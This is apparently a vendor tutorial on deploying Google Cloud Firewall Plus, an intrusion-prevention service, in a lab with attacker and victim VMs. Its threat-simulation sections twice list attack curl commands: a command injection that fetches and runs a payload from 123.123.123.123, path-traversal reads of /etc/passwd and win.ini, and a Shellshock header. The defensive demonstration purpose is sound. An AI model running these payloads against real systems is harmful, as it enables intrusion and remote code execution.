Google Cloud Firewall Plus Tutorial

[mmclimans]

This is a guide that shows how to deploy and use Google Cloud Firewall Plus, a native Google Cloud service powered by Palo Alto Networks Threat Prevention technologies. 

Cloud Firewall is a fully distributed firewall service with advanced protection capabilities, micro-segmentation, and pervasive coverage to protect your Google Cloud workloads from internal and external threats, including: intrusion, malware, spyware, and command-and-control. The service works by creating Google-managed zonal firewall endpoints that use packet intercept technology to transparently inspect the workloads for the configured threat signatures and protect them against threats.

Diagram

ℹ️ Note
Cloud Firewall Plus is currently in public preview.

For the most recent version of this guide, please see the Google Cloud Firewall Plus Tutorial github repository. 

Requirements

• Familiarize yourself with the Cloud Firewall Plus.
• A valid gcloud (SDK 447.0.0 or greater) installation or access to Google Cloud Shell.
• A Google Cloud project with Organizational admin access.

Topology

Below is a diagram of the environment.  A VPC network contains two virtual machines (attacker and victim) that are used to simulate threats. Each virtual machine has an external address associated with its network interface to provide internet connectivity.  

When Cloud Firewall Plus is enabled, Google Cloud firewall rules intercept VPC network traffic (including north-south and east-west) and redirect it to the Firewall Plus endpoint for inspection. All actions taken by the service are logged directly in the Google Cloud console for you.

Topology

Prepare for deployment

Prepare for deployment by enabling the required APIs, retrieving the deployment files, and configuring the environment variables.

1. Open Google Cloud Shell and enable the required APIs.

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com

2. List your Organization ID(s).

gcloud organizations list

3. Set the desired Organization ID to the environment variable ORG_ID.

export ORG_ID=ORGANIZATION_ID

4. List your projects within the organization.

gcloud alpha projects list --organization=$ORG_ID

5. Set the desired Project ID to the environment variablePROJECT_ID.

export PROJECT_ID=PROJECT_ID

6. Set your Project ID to yourgcloudconfiguration.

gcloud config set project $PROJECT_ID

7. Set values for the deployment'sREGION, ZONE, and naming PREFIX.

export REGION=us-central1
export ZONE=us-central1-a
export PREFIX=panw

8. Select a deployment option.  Both options deploy identical environments. 

• Scripted Deployment
  
  • All of the cloud resources required for the tutorial are deployed using a single script.
  • Best for users who are familiar with Cloud Firewall Plus and want to quickly test use-cases.
• Step-by-step Deployment
  
  • Each cloud resource is deployed individually through gcloud.
  • Best for users who are new to Cloud Firewall Plus or want control over which resources are deployed.

Scripted Deployment

1. In Cloud Shell, clone the repository and change directories.

git clone https://github.com/PaloAltoNetworks/google-cloud-firewall-plus-tutorial
cd google-cloud-firewall-plus-tutorial

2. Execute the script to create the environment.

./ips_create.sh

3. When the script completes, proceed to Simulate Threats.

Step-by-Step Deployment

1. In Cloud Shell, create a VPC network, subnetwork, and firewall rule to allow ingress traffic.

gcloud compute networks create $PREFIX-vpc \
    --subnet-mode=custom \
    --project=$PROJECT_ID

gcloud compute networks subnets create $PREFIX-subnet \
    --network=$PREFIX-vpc \
    --range=10.0.0.0/24 \
    --region=$REGION \
    --project=$PROJECT_ID

gcloud compute firewall-rules create $PREFIX-all-ingress \
    --network=$PREFIX-vpc \
    --direction=ingress \
    --allow=all \
    --source-ranges=0.0.0.0/0 \
    --project=$PROJECT_ID

2. Create two virtual machines (attacker & victim).  The machines will be used to simulate sudo-threats later.

gcloud compute instances create $PREFIX-attacker \
    --zone=$ZONE \
    --machine-type=f1-micro \
    --image-project=ubuntu-os-cloud \
    --image-family=ubuntu-2004-lts \
    --network-interface subnet=$PREFIX-subnet,private-network-ip=10.0.0.10 \
    --project=$PROJECT_ID

gcloud compute instances create $PREFIX-victim \
    --zone=$ZONE\
    --machine-type=f1-micro \
    --image-project=panw-gcp-team-testing \
    --image=debian-cloud-ids-victim \
    --network-interface subnet=$PREFIX-subnet,private-network-ip=10.0.0.20 \
    --project=$PROJECT_ID

3. Create a security profile and a security profile group.

gcloud beta network-security security-profiles threat-prevention create $PREFIX-profile \
    --location=global \
    --project=$PROJECT_ID \
    --organization=$ORG_ID \
    --quiet

gcloud beta network-security security-profile-groups create $PREFIX-profile-group \
    --threat-prevention-profile "organizations/$ORG_ID/locations/global/securityProfiles/$PREFIX-profile" \
    --location=global \
    --project=$PROJECT_ID \
    --organization=$ORG_ID \
    --quiet

4. Set the security profile's action to ALERT for threat severities categorized as INFORMATIONAL and LOW, while setting it to BLOCK for those categorized as MEDIUM, HIGH, and CRITICAL.

gcloud beta network-security security-profiles threat-prevention add-override $PREFIX-profile \
    --severities=INFORMATIONAL,LOW \
    --action=ALERT \
    --location=global \
    --organization=$ORG_ID \
    --project=$PROJECT_ID

gcloud beta network-security security-profiles threat-prevention add-override $PREFIX-profile \
    --severities=MEDIUM,HIGH,CRITICAL \
    --action=DENY \
    --location=global \
    --organization=$ORG_ID \
    --project=$PROJECT_ID

5. Create a Firewall Plus Endpoint.  The endpoint can take up to 25 minutes to fully provision. 

gcloud beta network-security firewall-endpoints create $PREFIX-endpoint \
    --zone=$ZONE \
    --project=$PROJECT_ID \
    --organization=$ORG_ID \
    --quiet

while true; do
    STATUS_EP=$(gcloud beta network-security firewall-endpoints describe $PREFIX-endpoint \
        --zone=$ZONE \
        --project=$PROJECT_ID \
        --organization=$ORG_ID \
        --format="json" | jq -r '.state')
    if [[ "$STATUS_EP" == "ACTIVE" ]]; then
        echo "Firewall endpoint $PREFIX-endpoint is now active."
        sleep 2
        break
    fi
    echo "Waiting for the firewall endpoint to be created.  This can take up to 25 minutes..."
    sleep 5
done

6. Associate the endpoint with a VPC network.  The association can take up to 30 minutes to complete.

gcloud beta network-security firewall-endpoint-associations create $PREFIX-assoc \
    --endpoint "organizations/$ORG_ID/locations/$ZONE/firewallEndpoints/$PREFIX-endpoint" \
    --network=$PREFIX-vpc \
    --zone=$ZONE \
    --project=$PROJECT_ID \
    --quiet

while true; do
    STATUS_ASSOC=$(gcloud beta network-security firewall-endpoint-associations describe $PREFIX-assoc \
        --zone=$ZONE \
        --project=$PROJECT_ID \
        --format="json" | jq -r '.state')

    if [[ "$STATUS_ASSOC" == "ACTIVE" ]]; then
        echo "Endpoint association $PREFIX-assoc is now active."
        sleep 2
        break
    fi
    echo "Waiting for the endpoint association to be created.  This can take up to 45 minutes..."
    sleep 1
done

7. Create a Network Firewall Policy with two firewall rules to allow all ingress & egress traffic to the workload network. 

gcloud compute network-firewall-policies create $PREFIX-global-policy \
    --global \
    --project=$PROJECT_ID

gcloud compute network-firewall-policies rules create 10 \
    --action=allow \
    --firewall-policy=$PREFIX-global-policy \
    --global-firewall-policy \
    --direction=INGRESS \
    --enable-logging \
    --layer4-configs all \
    --src-ip-ranges=0.0.0.0/0 \
    --dest-ip-ranges=0.0.0.0/0\
    --project=$PROJECT_ID

gcloud compute network-firewall-policies rules create 11 \
    --action=allow \
    --firewall-policy=$PREFIX-global-policy \
    --global-firewall-policy \
    --layer4-configs=all \
    --direction=EGRESS \
    --enable-logging \
    --src-ip-ranges=0.0.0.0/0 \
    --dest-ip-ranges=0.0.0.0/0 \
    --project=$PROJECT_ID

8. Associate the Network Firewall Policy with the VPC network created previously. 

gcloud compute network-firewall-policies associations create \
    --firewall-policy=$PREFIX-global-policy \
    --network=$PREFIX-vpc \
    --name=$PREFIX-global-policy-association \
    --global-firewall-policy

9. (Optional) Review the created resources.

• Firewall Endpoint
• Firewall Endpoint VPC Network Association
• Security Profile
• Network Firewall Policy

Simulate threats without Cloud Firewall Plus

Simulate several threats between the attacker and victim virtual machines without Cloud Firewall Plus inspection. Deep packet inspection does not occur because the firewall policies created in the previous step do not intercept traffic for inspection by the Firewall Plus endpoint.

Without inspection

1. In Cloud Shell, open an SSH session to the attacker VM.

gcloud compute ssh paloalto@$PREFIX-attacker --zone=$ZONE --project=$PROJECT_ID

2. From the attacker VM, simulate sudo-threats to the victim (10.0.0.20) VM.

curl "http://10.0.0.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://10.0.0.20/?item=../../../../WINNT/win.ini -m 5
curl http://10.0.0.20/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 5
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' -m 5 http://10.0.0.20/cgi-bin/test-critical -m 5

3. Attempt to download a sudo-malicious file from the internet.

wget www.eicar.org/download/eicar.com.txt --tries 1 --timeout 2

💡 Objective
The above threat simulations should be successful. This is because the Firewall Endpoint is not inspecting the traffic between the attacker and victim virtual machines.

Prevent threats with Cloud Firewall Plus

Cloud Firewall Plus uses Google Cloud's packet intercept technology to transparently redirect traffic from workloads to firewall endpoints. Traffic redirection is defined within network firewall rules that reference the security profile group.

Update network firewall policies

Update the network firewall policies to redirect traffic to the firewall endpoint.  The action defined in the firewall rule determines which security profile group is applied to the traffic. 

With inspection via Traffic Intercept

1. Modify the ingress & egress firewall rules within the global network policy to intercept traffic to the Firewall Plus endpoint.

gcloud beta compute network-firewall-policies rules update 10 \
    --action=apply_security_profile_group \
    --firewall-policy=$PREFIX-global-policy \
    --global-firewall-policy \
    --project=$PROJECT_ID \
    --security-profile-group=//networksecurity.googleapis.com/organizations/$ORG_ID/locations/global/securityProfileGroups/$PREFIX-profile-group

gcloud beta compute network-firewall-policies rules update 11 \
    --action=apply_security_profile_group \
    --firewall-policy=$PREFIX-global-policy \
    --global-firewall-policy \
    --project=$PROJECT_ID \
    --security-profile-group=//networksecurity.googleapis.com/organizations/$ORG_ID/locations/global/securityProfileGroups/$PREFIX-profile-group

Replay threats

Rerun the previous threats again to see the actions taken by Cloud Firewall Plus.

1. In Cloud Shell, open an SSH session to the attacker VM.

gcloud compute ssh paloalto@$PREFIX-attacker --zone=$ZONE --project=$PROJECT_ID

2. From the attacker VM, simulate sudo-threats to the victim (10.0.0.20) VM.

curl "http://10.0.0.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://10.0.0.20/?item=../../../../WINNT/win.ini -m 5
curl http://10.0.0.20/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 5
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' -m 5 http://10.0.0.20/cgi-bin/test-critical -m 5

3. Attempt to download a sudo-malicious file from the internet.

wget www.eicar.org/download/eicar.com.txt --tries 1 --timeout 2

💡 Objective
The simulated threats from the attacker should fail. This is because the Firewall Plus service is preventing the exploits from reaching the victim machine.

View threats

All of the actions taken by Cloud Firewall Plus are logged directly to the Google Cloud console for you.  These logs can be forwarded to Cortex XSIAM for further forensic investigation and action.

1. In the Google Cloud console, go to Network Security → Threats.

Cloud logs

💡 Objective
You should see the actions taken by the Firewall Plus endpoint, indicating the service has detected and/or stopped the simulated threats.  The action taken against a threat is determined by the security profile group applied to the network firewall rule.

Clean up

To delete the created resources, delete your Google Cloud deployment project. If you cannot delete your deployment project, follow the steps below to delete the resources created in this tutorial.

1. If you chose the Step-by-Step Deployment, clone the repository to Cloud Shell. 

git clone https://github.com/PaloAltoNetworks/google-cloud-firewall-plus-tutorial
cd google-cloud-firewall-plus-tutorial

 2. Execute the script to delete the created resources.

./ips_delete

More Information

Please see the materials below for more information about the topics discussed in this tutorial.

• Announcement Palo Alto Networks with Google Cloud Firewall
• Palo Alto Networks with Google Cloud
• Cloud Firewall Plus Overview
• Configure Intrusion Prevention Service